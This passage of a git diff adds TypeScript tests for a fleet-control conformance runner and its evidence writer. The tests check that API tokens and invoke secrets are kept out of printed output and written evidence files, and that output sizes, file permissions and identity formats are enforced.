null }, + }); + const result = await runDirectConformance({ + mode: 'resume', + configPath: w.f.configPath, + env: { ...env, FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'cleaned' }, + now, + modules: w.modules, + }); + expect(result.exitCode).toBe(5); + expect(result.summary).toEqual({ + code: 'evidence-failed', + sentinelClass: 'env-secret', + keyPath: 'status', + evidenceWritten: false, + }); + expect(result.summary).not.toHaveProperty('status'); + const { stdout } = expectCredentialSafeOutput(result, { + ...env, + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'cleaned', + }); + expect(Buffer.byteLength(stdout)).toBeLessThanOrEqual(4096); + expect(existsSync(join(w.f.runDirectory, 'evidence.json'))).toBe(false); + }); + + it('refuses a replacement-code credential before an existing-run check', async () => { + const f = await fixture(1000); + const openRunState = vi + .fn() + .mockRejectedValue(new DirectRunStateError('run-exists')); + const credentials = { + ...env, + CLOUDFLARE_API_TOKEN: 'run-exists', + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'evidence-failed', + }; + const result = await runDirectConformance({ + mode: 'resume', + configPath: f.configPath, + env: credentials, + now, + modules: { openRunState }, + }); + expect(result.exitCode).toBe(2); + expect(result.summary).toEqual({ + code: 'invalid-input', + variable: 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + }); + expectCredentialSafeOutput(result, credentials); + expect(openRunState).not.toHaveBeenCalled(); + expect(probes.sdk).not.toHaveBeenCalled(); + expect(existsSync(f.base)).toBe(false); + }); + + it.each([ + [2, `Bearer ${'x'.repeat(6993)}`], + [1, env.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET], + ] as const)('prints the inspected preflight bytes when toJSON changes after %s safe serializations', async (safeSerializations, forbidden) => { + const f = await fixture(); + let serializations = 0; + const result = await runDirectConformance({ + mode: 'preflight', + configPath: f.configPath, + env, + modules: { + preflight: async () => ({ + ...f.prepared, + names: { + ...f.prepared.names, + toJSON: () => + ++serializations <= safeSerializations ? 'safe' : forbidden, + }, + }), + }, + }); + const serialized = result.stderrLine?.slice(0, -1); + expect(result.exitCode).toBe(0); + expect(serializations).toBe(1); + expect(serialized).toBe( + JSON.stringify({ + configSha256: f.prepared.configSha256, + referenceModuleSetSha256: f.prepared.referenceModuleSetSha256, + referenceUploadBytes: f.prepared.referenceUploadBytes, + names: 'safe', + }), + ); + expect(JSON.stringify(result.summary)).toBe(serialized); + expect(result.stdoutLine).toBe( + `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(result.summary)}\n`, + ); + expectCredentialSafeOutput(result); + expect(result.stdoutLine).not.toContain(forbidden); + expect(result.stdoutLine).not.toContain('Bearer'); + }); + + it('prints inspected rawJSON resumeCount bytes without introducing a credential by reserialization', async () => { + const rawJSON = (JSON as typeof JSON & { rawJSON(text: string): number }) + .rawJSON; + const w = await world(); + w.set({ + resumeCount: rawJSON('1e3'), + teardown: { ...maximalTeardown(), phase: 'complete', failure: null }, + }); + const credentials = { ...env, CLOUDFLARE_API_TOKEN: '"resumeCount":1000' }; + const result = await runDirectConformance({ + mode: 'run', + configPath: w.f.configPath, + env: credentials, + modules: w.modules, + now, + git: () => null, + }); + expectCredentialSafeOutput(result, credentials); + expect(result.exitCode).toBe(0); + expect(result.summary).toHaveProperty('resumeCount', 1000); + expect(JSON.stringify(result.summary)).toContain( + credentials.CLOUDFLARE_API_TOKEN, + ); + const expected = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(result.summary).replace('"resumeCount":1000', '"resumeCount":1e3')}\n`; + expect(result.stdoutLine).toBe(expected); + expect(result.stderrLine).toBe(expected.slice(DIRECT_OUTPUT_PREFIX.length)); + const printed = await child( + process.execPath, + [ + '-e', + 'process.stdout.write(process.argv[1])', + result.stdoutLine as string, + ], + undefined, + { CLOUDFLARE_API_TOKEN: credentials.CLOUDFLARE_API_TOKEN }, + ); + expect(printed).toEqual({ + code: 0, + stdout: expected, + stderr: '', + transcript: expected, + }); + }); + + it.each([ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + ])('scans a credential spanning the prefix and a dynamic summary field (%s)', async (variable) => { + const secret = 'E {"status"'; + expect(DIRECT_FIXED_OUTPUT.some((line) => line.includes(secret))).toBe( + false, + ); + const w = await world(); + w.set({ + teardown: { ...maximalTeardown(), phase: 'complete', failure: null }, + }); + const credentials = { ...env, [variable]: secret }; + const result = await runDirectConformance({ + mode: 'run', + configPath: w.f.configPath, + env: credentials, + modules: w.modules, + now, + git: () => null, + }); + expectCredentialSafeOutput(result, credentials); + expect(result.exitCode).toBe(5); + expect(result.stdoutLine).toBe( + 'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":true}\n', + ); + expect(result.stderrLine).toBe( + '{"code":"evidence-failed","evidenceWritten":true}\n', + ); + expect(DIRECT_FIXED_OUTPUT).toContain(result.stdoutLine); + expect(DIRECT_FIXED_OUTPUT).toContain(result.stderrLine); + expect(existsSync(result.evidencePath as string)).toBe(true); + expect(w.journal.close).toHaveBeenCalledOnce(); + }); + + it.each([ + 4096, 4097, + ])('size-checks the assembled rawJSON preflight line at %s bytes before printing', async (bytes) => { + const rawJSON = (JSON as typeof JSON & { rawJSON(text: string): object }) + .rawJSON; + const f = await fixture(); + const summary = { + configSha256: f.prepared.configSha256, + referenceModuleSetSha256: f.prepared.referenceModuleSetSha256, + referenceUploadBytes: f.prepared.referenceUploadBytes, + names: { padding: rawJSON('1.0') }, + }; + const baseline = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(summary)}\n`; + summary.names.padding = rawJSON( + `1.${'0'.repeat(bytes - Buffer.byteLength(baseline) + 1)}`, + ); + const expected = `${DIRECT_OUTPUT_PREFIX}${JSON.stringify(summary)}\n`; + expect(Buffer.byteLength(expected)).toBe(bytes); + expect( + Buffer.byteLength(JSON.stringify(JSON.parse(JSON.stringify(summary)))), + ).toBeLessThan(4096 - DIRECT_OUTPUT_PREFIX.length - 1); + const result = await runDirectConformance({ + mode: 'preflight', + configPath: f.configPath, + env: {}, + modules: { + preflight: async () => ({ + ...f.prepared, + names: { ...f.prepared.names, toJSON: () => summary.names }, + }), + }, + }); + expectCredentialSafeOutput(result, {}); + expect(result.exitCode).toBe(bytes === 4096 ? 0 : 1); + expect(result.stdoutLine).toBe( + bytes === 4096 + ? expected + : 'DIRECT_CONFORMANCE {"code":"internal-error"}\n', + ); + const printed = await child(process.execPath, [ + '-e', + 'process.stdout.write(process.argv[1])', + result.stdoutLine as string, + ]); + expect(printed.stdout).toBe(result.stdoutLine); + expect(Buffer.byteLength(printed.stdout)).toBeLessThanOrEqual(4096); + }); + + it('bounds a sentinel replacement whose key path exceeds the stdout byte limit', async () => { + const f = await fixture(); + const result = await runDirectConformance({ + mode: 'preflight', + configPath: f.configPath, + env: {}, + modules: { + preflight: async () => ({ + ...f.prepared, + names: { ...f.prepared.names, ['x'.repeat(4096)]: 'Bearer hidden' }, + }), + }, + }); + expect(result.exitCode).toBe(5); + expectCredentialSafeOutput(result, {}); + expect(result.summary).toEqual({ + code: 'evidence-failed', + evidenceWritten: false, + }); + expect(result.stdoutLine).toBe( + 'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":false}\n', + ); + }); + + it('omits status when evidence construction throws', async () => { + const w = await world(); + w.set({ + teardown: { ...maximalTeardown(), phase: 'complete', failure: null }, + }); + const result = await runDirectConformance({ + mode: 'resume', + configPath: w.f.configPath, + env, + now: () => Number.NaN, + modules: w.modules, + }); + expect(result.exitCode).toBe(5); + expectCredentialSafeOutput(result); + expect(result.summary).toEqual({ + code: 'evidence-failed', + evidenceWritten: false, + }); + expect(w.journal.close).toHaveBeenCalledOnce(); + }); + + it('uses a minimal refusal when a diagnostic key path collides with a credential', async () => { + const secret = 'retainedIdentities.fleetUuid'; + const w = await world(secret); + const result = await runDirectConformance({ + mode: 'resume', + configPath: w.f.configPath, + env: { ...env, FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: secret }, + now, + modules: w.modules, + }); + expect(result.exitCode).toBe(5); + expect(result.summary).toEqual({ + code: 'evidence-failed', + evidenceWritten: false, + }); + expectCredentialSafeOutput(result, { + ...env, + FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: secret, + }); + }); + + it.each([ + 'https://example.invalid/signed?sig=opaque', + 'upstream returned an unexpected response', + ])('refuses a malformed provider identity with exit 5 (%s)', async (fleetUuid) => { + const w = await world(fleetUuid); + const result = await w.run(); + expect(result.exitCode).toBe(5); + expect(result.summary).toEqual({ + code: 'evidence-failed', + sentinelClass: 'identity-shape', + keyPath: 'retainedIdentities.fleetUuid', + evidenceWritten: false, + }); + expect(result.stdoutLine).not.toContain(fleetUuid); + expect(existsSync(join(w.f.runDirectory, 'evidence.json'))).toBe(false); + }); + + it('normalizes unexpected exceptions without disclosing their name or message', async () => { + const w = await world(); + w.modules.bootstrap.mockRejectedValue( + Object.assign(new Error('private-api-seed'), { + name: 'untrusted-name', + code: 'untrusted-code', + }), + ); + const result = await w.run(); + expect(result.exitCode).toBe(1); + expect(result.summary).toEqual({ code: 'internal-error' }); + for (const forbidden of [ + 'private-api-seed', + 'untrusted-name', + 'untrusted-code', + ]) + expect(result.stdoutLine).not.toContain(forbidden); + }); + + it.each([ + null, + '', + 'A'.repeat(40), + 'a'.repeat(39), + 'a'.repeat(41), + 'a'.repeat(40), + 'throw', + 'timeout', + ])('validates the git seam result %s and keeps the summary under 4 KiB', async (value) => { + const w = await world(); + const result = await runDirectConformance({ + mode: 'resume', + configPath: w.f.configPath, + env, + now, + modules: w.modules, + git: () => { + if (value === 'throw' || value === 'timeout') throw new Error(value); + return value; + }, + }); + const artifact = JSON.parse( + await readFile(result.evidencePath as string, 'utf8'), + ); + expect(artifact.commit).toBe(value === 'a'.repeat(40) ? value : null); + expectCredentialSafeOutput(result); + }); + + it('reads no credentials before successful local preflight', async () => { + const f = await fixture(); + const unreadable = new Proxy( + {}, + { + get() { + throw new Error('credential read'); + }, + }, + ); + for (const mode of ['help', 'preflight'] as const) { + const result = await runDirectConformance({ + mode, + configPath: f.configPath, + env: unreadable, + now, + }); + expect(result.exitCode).toBe(0); + expectCredentialSafeOutput(result, {}); + } + const result = await runDirectConformance({ + mode: 'run', + configPath: f.configPath, + env: unreadable, + modules: { + preflight: async () => { + throw new Error('preflight'); + }, + }, + }); + expect(result.exitCode).toBe(2); + expectCredentialSafeOutput(result, {}); + }); + + it('reports a failed evidence write as exit 5 after closing the journal', async () => { + const w = await world(); + w.journal.directory = join(w.f.runDirectory, 'missing'); + const result = await w.run(); + expect(result).toMatchObject({ + exitCode: 5, + summary: { code: 'evidence-failed', evidenceWritten: false }, + }); + expect(result.summary).not.toHaveProperty('status'); + expect(w.journal.close).toHaveBeenCalledOnce(); + }); + + it('proves pnpm forwarding by the printed argv at both hops', async () => { + const f = await fixture(); + const pkg = join(f.directory, 'probe'); + await mkdir(pkg); + await writeFile( + join(f.directory, 'pnpm-workspace.yaml'), + 'packages:\n - probe\n', + ); + await writeFile( + join(f.directory, 'package.json'), + JSON.stringify({ + private: true, + packageManager: 'pnpm@10.34.4', + scripts: { 'root:probe': 'pnpm --filter probe-pkg probe' }, + }), + ); + await writeFile( + join(pkg, 'package.json'), + JSON.stringify({ + name: 'probe-pkg', + private: true, + scripts: { probe: 'node probe.mjs' }, + }), + ); + await writeFile( + join(pkg, 'probe.mjs'), + 'console.log(JSON.stringify(process.argv.slice(2)));\n', + ); + for (const [cwd, args] of [ + [pkg, ['run', 'probe', '--', '--run']], + [f.directory, ['root:probe', '--', '--run']], + ] as const) { + const result = await child('pnpm', [...args], cwd); + const printed = result.stdout + .split('\n') + .filter((line) => line === '["--","--run"]'); + process.stdout.write(`PNPM_FORWARDING ${JSON.stringify(printed)}\n`); + expect(printed).toEqual(['["--","--run"]']); + } + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-evidence.test.ts b/packages/fleet-control/test/direct-credentialed-evidence.test.ts new file mode 100644 index 00000000..b13913c5 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-evidence.test.ts @@ -0,0 +1,596 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { readdir, readFile, stat, writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + buildDirectEvidence, + DIRECT_EVIDENCE_LITERALS, + inspectDirectEvidence, + scanDirectEvidence, + writeDirectEvidence, +} from '../scripts/direct-credentialed-evidence.mjs'; +import { DIRECT_RESIDUAL_SURFACES } from '../scripts/direct-credentialed-run-state.mjs'; +import { DIRECT_SCENARIO_PHASES } from '../scripts/direct-credentialed-scenario-budget.mjs'; +import { + cleanupDirectRunState, + completeScenarioJournal, + maximalScenario, + maximalTeardown, + present, +} from './fixtures/direct-run-state-builder.js'; + +const topKeys = [ + 'version', + 'contractVersion', + 'packageVersion', + 'commit', + 'mode', + 'status', + 'exitCode', + 'startedAt', + 'finishedAt', + 'resumeCount', + 'accountIdSha256Suffix', + 'zoneIdSha256Suffix', + 'resourcePrefix', + 'maxInvocations', + 'disposableAccount', + 'configSha256', + 'referenceModuleSetSha256', + 'referenceUploadBytes', + 'commands', + 'bootstrap', + 'scenario', + 'teardown', + 'teardownCall', + 'retainedIdentities', + 'cost', +]; +const sentinels = { + secrets: ['private-api-seed', 'private-invoke-seed'], + literals: DIRECT_EVIDENCE_LITERALS, +}; +afterEach(cleanupDirectRunState); +const object = (value: unknown): Record => { + expect(value).toBeTypeOf('object'); + expect(value).not.toBeNull(); + return value as Record; +}; +const keys = (value: unknown, expected: readonly string[]) => + expect(Object.keys(object(value))).toEqual(expected); + +async function evidenceFixture() { + const { f, journal } = await completeScenarioJournal(); + const scenario = maximalScenario(); + const teardown = maximalTeardown(); + const snapshot = { ...journal.snapshot(), scenario, teardown }; + const evidence = buildDirectEvidence({ + snapshot, + prepared: f.prepared, + mode: 'resume', + outcome: { + status: 'cleaned', + exitCode: 0, + teardownCall: { status: 'cleaned', failure: null, providerRequests: 12 }, + }, + times: { finishedAt: '2026-09-13T00:00:00.000Z' }, + commit: 'a'.repeat(40), + }); + return { f, journal, snapshot, evidence }; +} + +describe.sequential('direct evidence', () => { + it('pins the allowlist key set and order at every projected shape', async () => { + const { evidence, snapshot } = await evidenceFixture(); + keys(evidence, topKeys); + process.stdout.write( + `EVIDENCE_KEYS ${JSON.stringify(Object.keys(evidence))}\n`, + ); + keys(evidence.bootstrap, ['dispatch', 'activeVersionId']); + keys(object(evidence.bootstrap).dispatch, ['kind', 'count']); + keys(evidence.scenario, [ + 'phase', + 'failure', + 'invocationCount', + 'sdkRequests', + 'attempts', + 'phaseCalls', + 'restart', + 'initial', + 'candidate', + 'final', + 'fence', + 'exports', + ]); + const scenario = object(evidence.scenario); + expect(scenario.invocationCount).toBe(snapshot.invocationCount); + keys(scenario.attempts, ['provider', 'maintenance', 'application']); + keys(scenario.phaseCalls, DIRECT_SCENARIO_PHASES); + keys(scenario.restart, ['lossOrdinal', 'replayOrdinal', 'resumedProcess']); + keys(scenario.initial, ['a', 'b', 'recovery']); + for (const role of ['a', 'b', 'recovery']) + keys(object(scenario.initial)[role], ['versionId', 'cpuLimitMs']); + for (const group of ['candidate', 'final']) { + keys(scenario[group], ['a', 'b']); + for (const role of ['a', 'b']) + keys(object(scenario[group])[role], [ + 'versionId', + 'cpuLimitMs', + 'trafficPercentage', + ]); + } + keys(scenario.fence, ['drain', 'sweeps', 'reopen', 'probes']); + const fence = object(scenario.fence); + for (const group of Object.values(fence)) keys(group, ['a', 'b']); + const readingKeys = [ + 'state', + 'mutationEpoch', + 'requireMutationEpoch', + 'transitionRevision', + ]; + for (const group of ['drain', 'reopen']) + for (const role of ['a', 'b']) { + const transition = object(object(fence[group])[role]); + keys(transition, ['before', 'after']); + keys(transition.before, readingKeys); + keys(transition.after, readingKeys); + } + for (const role of ['a', 'b']) { + const sweeps = object(object(fence.sweeps)[role]); + keys(sweeps, ['first', 'second', 'intervalMs']); + for (const key of ['first', 'second']) { + keys(sweeps[key], [ + 'fence', + 'categoryCount', + 'workCount', + 'standingCount', + 'emptyCount', + ]); + keys(object(sweeps[key]).fence, readingKeys); + } + keys(object(fence.probes)[role], [ + 'current', + 'missing', + 'stale', + 'future', + 'mutationEpoch', + ]); + keys(object(scenario.exports)[role], ['location', 'size', 'sha256']); + } + keys(evidence.teardown, [ + 'failure', + 'phase', + 'providerRequests', + 'receipts', + 'residual', + ]); + const teardown = object(evidence.teardown); + expect(teardown).not.toHaveProperty('status'); + keys(teardown.receipts, [ + 'ingress', + 'worker', + 'fleet', + 'quota', + 'exports', + 'exportObjects', + ]); + const receipts = object(teardown.receipts); + for (const key of ['ingress', 'fleet', 'quota', 'exports']) + keys(receipts[key], ['settledByReread']); + keys(receipts.worker, ['settledByReread', 'secretNameCount']); + keys(receipts.exportObjects, ['count', 'settledByReread']); + keys(teardown.residual, [ + 'surfaces', + 'bucketJurisdictions', + 'dispatch', + 'versionsGone', + 'settleAttempts', + ]); + const residual = object(teardown.residual); + keys(residual.surfaces, DIRECT_RESIDUAL_SURFACES); + for (const value of Object.values(object(residual.surfaces))) + keys(value, ['prefixCount', 'globalCount', 'exhaustive']); + keys(residual.dispatch, ['kind', 'count', 'status', 'prefixCount']); + expect(residual.bucketJurisdictions).toEqual( + snapshot.teardown.residual?.bucketJurisdictions, + ); + keys(evidence.teardownCall, ['status', 'failure', 'providerRequests']); + keys(evidence.retainedIdentities, [ + 'fleetUuid', + 'quotaUuid', + 'exportBucket', + 'scriptName', + 'activeVersionId', + ]); + expect(Object.values(object(evidence.retainedIdentities))).toEqual([ + null, + null, + null, + null, + null, + ]); + expect(evidence.commands).toEqual([ + 'pnpm fleet-control:credentialed:direct -- --run', + 'pnpm fleet-control:credentialed:direct -- --resume', + ]); + }); + + it('preserves null observations, absent proofs and failure detail', async () => { + const { f, snapshot } = await evidenceFixture(); + const scenario = maximalScenario(); + scenario.failure = { + code: 'budget-exhausted', + ordinal: 1, + detail: 'run-reserve', + }; + scenario.proofs.initial = { a: null, b: null, recovery: null }; + scenario.proofs.candidate = { a: null, b: null }; + scenario.proofs.final = { a: null, b: null }; + scenario.proofs.fence = { + drain: { a: null, b: null }, + sweeps: { a: null, b: null }, + reopen: { a: null, b: null }, + probes: { a: null, b: null }, + }; + scenario.proofs.restart = null; + scenario.proofs.exports = { a: null, b: null }; + const input = { + snapshot: { ...snapshot, scenario }, + prepared: f.prepared, + mode: 'resume' as const, + outcome: { status: 'retained' as const, exitCode: 4, teardownCall: null }, + times: { finishedAt: '2026-09-13T00:00:00.000Z' }, + commit: null, + }; + const result = buildDirectEvidence(input); + expect(result.scenario).toMatchObject({ + failure: { code: 'budget-exhausted', ordinal: 1, detail: 'run-reserve' }, + initial: scenario.proofs.initial, + candidate: scenario.proofs.candidate, + final: scenario.proofs.final, + fence: scenario.proofs.fence, + exports: scenario.proofs.exports, + restart: null, + }); + delete scenario.failure.detail; + expect(object(buildDirectEvidence(input).scenario).failure).toEqual({ + code: 'budget-exhausted', + ordinal: 1, + detail: null, + }); + const { + scenario: _scenario, + teardown: _teardown, + createdAt: _createdAt, + ...older + } = snapshot; + const empty = buildDirectEvidence({ + ...input, + snapshot: { ...older, bootstrap: null }, + }); + expect(empty).toMatchObject({ + startedAt: null, + resumeCount: 0, + bootstrap: null, + scenario: null, + teardown: null, + teardownCall: null, + }); + }); + + it('projects partial fence readings and category counts without journal bookkeeping', async () => { + const { f, snapshot } = await evidenceFixture(); + const scenario = maximalScenario(); + present(scenario.proofs.fence.drain.a).after = null; + const sweeps = present(scenario.proofs.fence.sweeps.a); + sweeps.second = null; + sweeps.intervalMs = null; + sweeps.first.categories = [ + { category: 'work-a', class: 'work', empty: true }, + { category: 'standing-a', class: 'standing', empty: false }, + ]; + const evidence = buildDirectEvidence({ + snapshot: { ...snapshot, scenario }, + prepared: f.prepared, + mode: 'run', + outcome: { status: 'failed', exitCode: 1, teardownCall: null }, + times: { finishedAt: '2026-09-13T00:00:00.000Z' }, + commit: null, + }); + const fence = object(object(evidence.scenario).fence); + expect(object(fence.drain).a).toMatchObject({ after: null }); + expect(object(fence.sweeps).a).toMatchObject({ + first: { + categoryCount: 2, + workCount: 1, + standingCount: 1, + emptyCount: 1, + }, + second: null, + intervalMs: null, + }); + for (const forbidden of [ + 'ordinal', + 'observedAt', + 'categories', + 'work-a', + 'standing-a', + ]) + expect(JSON.stringify(fence)).not.toContain(forbidden); + }); + + it('refuses a credential completed by the evidence trailing newline', async () => { + const { f } = await evidenceFixture(); + const evidence = { version: 1 }; + const sentinels = { secrets: ['}\n'], literals: [] }; + expect(inspectDirectEvidence(evidence, sentinels)).toEqual({ + hit: { sentinelClass: 'env-secret', keyPath: '' }, + serialized: '{"version":1}\n', + }); + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ + written: false, + sentinelClass: 'env-secret', + keyPath: '', + }); + expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + }); + + it('publishes the scanned bytes including the newline observed during read-back', async () => { + const { f, evidence } = await evidenceFixture(); + const inspected = inspectDirectEvidence(evidence, sentinels); + expect(inspected.hit).toBeNull(); + const scanned = Buffer.from(inspected.serialized); + let received: Buffer | undefined; + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + readBack: async (path) => { + received = await readFile(path); + expect(received).toEqual(scanned); + return received; + }, + }), + ).toEqual({ written: true }); + expect(received).toEqual(Buffer.from(`${JSON.stringify(evidence)}\n`)); + expect(await readFile(join(f.runDirectory, 'evidence.json'))).toEqual( + scanned, + ); + }); + + it('writes verified 0600 evidence atomically without temporary siblings', async () => { + const { f, evidence } = await evidenceFixture(); + const result = await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }); + expect(result).toEqual({ written: true }); + const path = join(f.runDirectory, 'evidence.json'); + expect((await stat(path)).mode & 0o777).toBe(0o600); + expect(await readFile(path, 'utf8')).toBe(`${JSON.stringify(evidence)}\n`); + expect( + (await readdir(f.runDirectory)).filter((name) => name.endsWith('.tmp')), + ).toEqual([]); + process.stdout.write('EVIDENCE_FILE mode=0600 temporaryFiles=0\n'); + }); + + it.each([ + ...DIRECT_EVIDENCE_LITERALS.map((value) => [value, 'literal']), + ['private-api-seed', 'env-secret'], + ['private-invoke-seed', 'env-secret'], + ['seed"token', 'env-secret'], + ['seed\\token', 'env-secret'], + ])('catches sentinel %s as %s at its string-leaf path', async (value, sentinelClass) => { + const { f, evidence } = await evidenceFixture(); + const candidate = { + ...evidence, + retainedIdentities: { + ...object(evidence.retainedIdentities), + fleetUuid: value, + }, + }; + const result = await writeDirectEvidence({ + directory: f.runDirectory, + evidence: candidate, + sentinels: { + ...sentinels, + secrets: [...sentinels.secrets, 'seed"token', 'seed\\token'], + }, + }); + expect(result).toEqual({ + written: false, + sentinelClass, + keyPath: 'retainedIdentities.fleetUuid', + }); + expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + expect(JSON.stringify(result)).not.toContain(value as string); + process.stdout.write( + `SENTINEL_CAUGHT ${sentinelClass} ${result.keyPath}\n`, + ); + }); + + it('catches serialized bytes that are absent from walked string leaves', async () => { + const { f } = await evidenceFixture(); + const evidence = { + bootstrap: { toJSON: () => ({ dispatch: 'safe' }) }, + }; + const byteSentinels = { secrets: [], literals: ['"dispatch":'] }; + expect(scanDirectEvidence(evidence, byteSentinels)).toEqual({ + sentinelClass: 'literal', + keyPath: 'bootstrap', + }); + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels: byteSentinels, + }), + ).toEqual({ + written: false, + sentinelClass: 'literal', + keyPath: 'bootstrap', + }); + expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + }); + + it.each([ + ['plain toJSON secret', 'private-api-seed'], + ['quoted toJSON secret', 'seed"token'], + ['backslash toJSON secret', 'seed\\token'], + ])('refuses decoded serialization containing a %s', async (_label, secret) => { + const { f } = await evidenceFixture(); + const evidence = { bootstrap: { toJSON: () => secret } }; + const sentinels = { secrets: [secret], literals: [] }; + const hit = { sentinelClass: 'env-secret', keyPath: 'bootstrap' }; + expect(scanDirectEvidence(evidence, sentinels)).toEqual(hit); + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ written: false, ...hit }); + expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + }); + + it('refuses a Unicode escape that decodes to a credential in serialized evidence', async () => { + const { f } = await evidenceFixture(); + const rawJSON = (JSON as typeof JSON & { rawJSON(text: string): object }) + .rawJSON; + const evidence = { bootstrap: { dispatch: rawJSON('"\\u0073eed"') } }; + const sentinels = { secrets: ['seed'], literals: [] }; + expect(JSON.stringify(evidence)).toContain('\\u0073'); + const hit = { sentinelClass: 'env-secret', keyPath: 'bootstrap.dispatch' }; + expect(scanDirectEvidence(evidence, sentinels)).toEqual(hit); + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ written: false, ...hit }); + expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + }); + + it('refuses a credential object key at its own path before visiting its value', async () => { + const { f } = await evidenceFixture(); + const secret = 'seed"\\token'; + const evidence = { + bootstrap: { toJSON: () => ({ [secret]: 'Bearer hidden' }) }, + }; + const sentinels = { secrets: [secret], literals: DIRECT_EVIDENCE_LITERALS }; + const hit = { sentinelClass: 'env-secret', keyPath: `bootstrap.${secret}` }; + expect(scanDirectEvidence(evidence, sentinels)).toEqual(hit); + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ written: false, ...hit }); + expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + }); + + it.each([ + 'retainedIdentities.fleetUuid', + 'retainedIdentities.quotaUuid', + 'retainedIdentities.activeVersionId', + 'bootstrap.activeVersionId', + 'scenario.initial.a.versionId', + 'scenario.initial.b.versionId', + 'scenario.initial.recovery.versionId', + 'scenario.candidate.a.versionId', + 'scenario.candidate.b.versionId', + 'scenario.final.a.versionId', + 'scenario.final.b.versionId', + ])('enforces identity shape without nulling malformed proof at %s', async (keyPath) => { + const { f } = await evidenceFixture(); + for (const [value, valid] of [ + [null, true], + ['8e7a6123-1567-4abd-9012-3456789abcde', true], + ['version_1.2-rc', true], + ['a'.repeat(128), true], + ['https://example.invalid/signed?sig=opaque', false], + ['upstream returned an unexpected response', false], + [' padded', false], + ['quoted"identity', false], + ['', false], + ['_version', false], + ['a'.repeat(129), false], + ] as const) { + const evidence = object( + keyPath + .split('.') + .reduceRight((child, key) => ({ [key]: child }), value), + ); + const before = JSON.stringify(evidence); + const hit = { sentinelClass: 'identity-shape', keyPath }; + expect(scanDirectEvidence(evidence, sentinels)).toEqual( + valid ? null : hit, + ); + if (!valid) { + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ written: false, ...hit }); + expect(JSON.stringify(evidence)).toBe(before); + } + } + expect(await readdir(f.runDirectory)).toEqual(['journal.json']); + }); + + it('writes exactly the serialization that passed the byte scan', async () => { + const { f } = await evidenceFixture(); + let serializations = 0; + const evidence = { + bootstrap: { + toJSON: () => (++serializations === 1 ? 'safe' : 'Bearer hidden'), + }, + }; + expect( + await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + }), + ).toEqual({ written: true }); + expect(serializations).toBe(1); + expect(await readFile(join(f.runDirectory, 'evidence.json'), 'utf8')).toBe( + '{"bootstrap":"safe"}\n', + ); + }); + + it.each([ + false, + true, + ])('does not publish altered read-back bytes or replace previous evidence (existing=%s)', async (existing) => { + const { f, evidence } = await evidenceFixture(); + const path = join(f.runDirectory, 'evidence.json'); + if (existing) await writeFile(path, 'previous-evidence\n', { mode: 0o600 }); + const result = await writeDirectEvidence({ + directory: f.runDirectory, + evidence, + sentinels, + readBack: async () => Buffer.from('altered bytes'), + }); + expect(result).toEqual({ written: false }); + if (existing) + expect(await readFile(path, 'utf8')).toBe('previous-evidence\n'); + else await expect(stat(path)).rejects.toMatchObject({ code: 'ENOENT' }); + expect( + (await readdir(f.runDirectory)).filter((name) => name.endsWith('.tmp')), + ).toEqual([]); + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index 5ebde573..5947c51a 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { spawn } from 'node:child_process'; +import { readdirSync } from 'node:fs'; import { chmod, link, @@ -20,10 +21,12 @@ import { afterEach, describe, expect, it, vi } from 'vitest'; import { actionSummary, DIRECT_RUN_MAX_JOURNAL_BYTES, + DIRECT_RUN_MAX_RESUME_COUNT, DIRECT_SCENARIO_ARRAY_MAXIMA, DIRECT_SCENARIO_OPERATION_SLOTS, type DirectBootstrapMutationReceipt, type DirectRunJournal, + inspectDirectRunState, openDirectRunState, } from '../scripts/direct-credentialed-run-state.mjs'; import type { DirectOperationSlot } from '../scripts/direct-reference-journal.js'; @@ -211,6 +214,7 @@ describeLinux('durable bootstrap state', () => { const path = join(journal.directory, 'journal.json'); const original = JSON.parse(await readFile(path, 'utf8')); delete original.bootstrap; + delete original.createdAt; original.version = 1; await writeFile(path, JSON.stringify(original)); const resumed = await opened({ ...f.input, mode: 'resume' }); @@ -1241,6 +1245,7 @@ describeLinux('durable scenario state', () => { ); expect(Object.keys(JSON.parse(serialized))).toEqual([ 'version', + 'createdAt', 'binding', 'invocationCount', 'lastInvocation', @@ -1608,6 +1613,7 @@ describeLinux('durable teardown state', () => 